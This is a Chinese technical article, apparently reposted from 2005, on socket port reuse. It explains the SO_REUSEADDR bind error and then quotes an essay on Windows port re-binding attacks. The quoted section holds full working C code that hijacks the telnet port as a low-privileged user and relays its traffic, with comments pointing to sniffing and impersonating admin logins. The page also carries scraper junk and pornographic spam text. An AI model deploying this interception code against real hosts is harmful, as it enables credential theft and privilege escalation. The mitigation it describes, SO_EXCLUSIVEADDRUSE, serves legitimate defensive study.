• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • 端口重用和端口獨占程序的設計

    發表于:2007-05-26來源:作者:點擊數: 標簽:
    編寫:Leaf Zhou EMAIL:leaf_zhou_8@hotmail.com 2005-04-20 前段時間,一個朋友發來郵件,說在RedHat Linux 9.0 操作系統的機器上,編寫了一個服務程序。該服務程序用Ctrl+C終止后,不能夠馬上重新運行。出現地址綁定錯誤,也就是調用bind()函數時,出現錯誤
    編寫:Leaf Zhou
    EMAIL:leaf_zhou_8@hotmail.com
    2005-04-20

     前段時間,一個朋友發來郵件,說在RedHat Linux 9.0 操作系統的機器上,編寫了一個服務程序。該服務程序用Ctrl+C終止后,不能夠馬上重新運行。出現地址綁定錯誤,也就是調用bind()函數時,出現錯誤。但過了幾分鐘后,即可以正常運行。不明白原因,并希望能給于解決。

    端口重用和端口獨占程序的設計

     前段時間,一個朋友發來郵件,說在RedHat Linux 9.0 操作系統的機器上,編寫了一個服務程序。該服務程序用Ctrl+C終止后,不能夠馬上重新運行。出現地址綁定錯誤,也就是調用bind()函數時,出現錯誤。但過了幾分鐘后,即可以正常運行。不明白原因,并希望能給于解決。
     首先,來了解出現這個問題的原因。如果出現上面的情況,可以用netstat -an 命令查看一下,就會發現那個服務程序所使用的端口處在CLOSE_WAIT狀態。當程序執行主動關閉的時候,就會進入這種狀態。還有一種情況,就是客戶端還在保持連接,但服務器卻意外終止,這種情況,也會有這種狀態產生,特別是在一些老的UNIX操作系統中,非常常見。例如SCO系統。那么這種狀態要保持多長時間呢?這種狀態的端點留在該狀態的持續時間是最長數據分組的生命周期MSL (Maximum Segment Lifetime)的兩倍,也稱為2MSL。因此,在這段時間內,程序是無法使用這個端口的,因為這個端口資源還沒有完全釋放。
     對于每個TCP連接實現,都必須選擇一個MSL值。在RFC1122文檔中建議這個值是2分鐘。而源自的Berkeley的實現傳統上MSL這個值為30秒。這就意味著TIME_WAIT狀態可能保持1分鐘到4分鐘之間。而在這段時間內,使用這個端口就可能要到前面所說的那種障礙。
     
     問題產生的原因知道了,那么如何解決呢?套接字的選項中有一個SO_REUSEADDR選項,就可以解決這個問題。SO_REUSEADDR選項允許完全重復的綁定。這個選項通過setsockopt()來進行設置。先來看一下這個函數的定義格式:
           #include <sys/types.h>
           #include <sys/socket.h>

           int setsockopt(int s, int  level,  int  optname,  const  void  *optval,
           socklen_t optlen);

     s: 套接字,指向一個打開的套接口描述字
     level:級別,指定選項代碼的類型。具體類型如下:
      SOL_SOCKET: 基本套接口
      IPPROTO_IP: IPv4套接口
      IPPROTO_IPV6: IPv6套接口
      IPPROTO_TCP: TCP套接口
     optname:選項名,選項名稱
     optval: 選項值,是一個指向變量的指針類型
     optlen :選項長度,即 optval 的大小
     返回值:如果函數執行成功,返回0;如果函數執行失敗,返回-1。

     因此,可以按照下面的偽代碼來實現:
     
     int sockfd;
     int cflag;
     
     sockfd =socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     if(sockfd < 0) 
     {
      printf("socket() error\n");
      exit(-);
     }
     cflag = 1;
     if(setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,
       (char *)&cflag,sizeof(cflag)) == -1) 
     {
      printf("setsockopt() error\n");
      exit(-);  
     }

     上面的代碼演示了如何解決地址重復綁定的錯誤。但這段代碼也無疑曝露了一個嚴重的安全問題,也就端口劫持。因為很有可能出現這種情況:一個程序正在正常地進行通信,而一個含有惡意的程序利用這項功能,重新綁定了這個端口和地址,進行數據的竊取和篡改。當然在RedHat Linux 9.0 上沒有發現有這個漏洞。但是在Windows中卻不是這么回事。
     
     下面是從安全焦點(http://www.xfocus.net)網站中FLASHSKY(flashsky1@sina.com)的文章中節選的一段,說得非常好,還且還有例程。因此,照抄過來,和網絡愛好者們一起分享。
     -------------------------------------------------
      因為在winsock的實現中,對于服務器的綁定是可以多重綁定的,在確定多重綁定使用誰的時候,根據一條原則是誰的指定最明確則將包遞交給誰,而且沒有權限之分,也就是說低級權限的用戶是可以重綁定在高級權限的用戶使用端口。例如綁定某個服務的端口上。
        這意味著什么呢?意味著可以進行如下的攻擊:
        1. 一個木馬綁定到一個已經合法存在的端口上進行端口的隱藏,他通過自己特定的包格式判斷是不是自己的包。如果是自己的數據包則自己進行處理,如果不是通過127.0.0.1的地址交給真正的服務器應用進行處理。
        2. 一個木馬可以在低權限用戶上綁定高權限的服務應用的端口,進行該處理信息的嗅探,本來在一個主機上監聽一個SOCKET的通訊需要具備非常高的權限要求,但其實利用SOCKET重綁定,你可以輕易的監聽具備這種SOCKET編程漏洞的通訊,而無須采用什么掛接、鉤子或低層的驅動技術。
        3. 針對一些的特殊應用,可以發起中間人攻擊,從低權限用戶上獲得信息或事實欺騙,如在guest權限下攔截telnet服務器的23端口,如果是采用NTLM加密認證,雖然你無法通過嗅探直接獲取密碼,但一旦有admin用戶通過你登陸以后,你的應用就完全可以發起中間人攻擊,扮演這個登陸的用戶通過SOCKET發送高權限的命令,到達入侵的目的。
        4. 對于構建的WEB服務器,入侵者只需要獲得低級的權限,就可以完全達到更改網頁目的。很簡單,扮演你的服務器給予連接請求以其他信息的應答,甚至是基于電子商務上的欺騙,獲取非法的數據。

     其實,Microsoft 自己的很多服務的SOCKET編程都存在這樣的問題,telnet,ftp,http的服務實現全部都可以利用這種方法進行攻擊,在低權限用戶上實現對SYSTEM應用的截聽。包括W2K+SP3的IIS也都一樣,那么如果你已經可以以低權限用戶入侵或木馬植入的話,而且對方又開啟了這些服務的話,那就不妨一試。并且我估計還有很多第三方的服務也大多存在這個漏洞。
        解決的方法很簡單,在編寫如上應用的時候,綁定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求獨占所有的端口地址,而不允許復用。這樣其他人就無法復用這個端口了。
        下面就是一個簡單的截聽Microsoft telnet服務器的例子,在GUEST用戶下都能成功進行截聽,剩余的就是大家根據自己的需要,進行一些特殊剪裁的問題了:如是隱藏,嗅探數據,高權限用戶欺騙等。

    #include <winsock2.h>
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>

    DWORD WINAPI ClientThread(LPVOID lpParam);

    int main()
    {
        WORD wVersionRequested;
        DWORD ret;
        WSADATA wsaData;
        BOOL val;
        SOCKADDR_IN saddr;
        SOCKADDR_IN scaddr;
        int err;
        SOCKET s;
        SOCKET sc;
        int caddsize;
        HANDLE mt;
        DWORD tid;

        wVersionRequested = MAKEWORD( 2, 2 );
        err = WSAStartup( wVersionRequested, &wsaData );
        if ( err != 0 ) {
            printf("error!WSAStartup failed!\n");
            return -1;
        }
        saddr.sin_family = AF_INET;

        //截聽雖然也可以將地址指定為INADDR_ANY,但是要不能影響正常應用情況下,應該指定具體的IP,留下127.0.0.1給正常的服務應用,然后利用這個地址進行轉發,就可以不影響對方正常應用了
        saddr.sin_addr.s_addr = inet_addr("192.168.0.60");    
        saddr.sin_port = htons(23);
        if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
        {
            printf("error!socket failed!\n");
            return -1;
        }
        val = TRUE;
        //SO_REUSEADDR選項就是可以實現端口重綁定的
        if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
        {
            printf("error!setsockopt failed!\n");
            return -1;
        }
        //如果指定了SO_EXCLUSIVEADDRUSE,就不會綁定成功,返回無權限的錯誤代碼;
        //如果是想通過重利用端口達到隱藏的目的,就可以動態的測試當前已綁定的端口哪個可以成功,就說明具備這個漏洞,然后動態利用端口使得更隱蔽
        //其實UDP端口一樣可以這樣重綁定利用,這兒主要是以TELNET服務為例子進行攻擊
        if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
        {
            ret=GetLastError();
            printf("error!bind failed!\n");
            return -1;
        }
        listen(s,2);   
        while(1)
        {
            caddsize = sizeof(scaddr);
            //接受連接請求
            sc = aclearcase/" target="_blank" >ccept(s,(struct sockaddr *)&scaddr,&caddsize);
            if(sc!=INVALID_SOCKET)
            {
                mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
                if(mt==NULL)
                {
                    printf("Thread Creat Failed!\n");
                    break;
                }
            }
            CloseHandle(mt);
        }
        closesocket(s);
        WSACleanup();
        return 0;
    }

    DWORD WINAPI ClientThread(LPVOID lpParam)
    {
        SOCKET ss = (SOCKET)lpParam;
        SOCKET sc;
        unsigned char buf[4096];
        SOCKADDR_IN saddr;
        long num;
        DWORD val;
        DWORD ret;
        //如果是隱藏端口應用的話,可以在此處加一些判斷
        //如果是自己的包,就可以進行一些特殊處理,不是的話通過127.0.0.1進行轉發

        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
        saddr.sin_port = htons(23);
        if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
        {
            printf("error!socket failed!\n");
            return -1;
        }
        val = 100;
        if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
        {
            ret = GetLastError();
            return -1;
        }
        if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
        {
            ret = GetLastError();
            return -1;
        }
        if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
        {
            printf("error!socket connect failed!\n");
            closesocket(sc);
            closesocket(ss);
            return -1;
        }
        while(1)
        {
            //下面的代碼主要是實現通過127。0。0。1這個地址把包轉發到真正的應用上,并把應答的包再轉發回去。
            //如果是嗅探內容的話,可以再此處進行內容分析和記錄
            //如果是攻擊如TELNET服務器,利用其高權限登陸用戶的話,可以分析其登陸用戶,然后利用發送特定的包以劫持的用戶身份執行。
            num = recv(ss,buf,4096,0);
            if(num>0)
                send(sc,buf,num,0);
            else if(num==0)
                break;
            num = recv(sc,buf,4096,0);
            if(num>0)
                send(ss,buf,num,0);
            else if(num==0)
                break;
        }
        closesocket(ss);
        closesocket(sc);
        return 0 ;
    }


    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>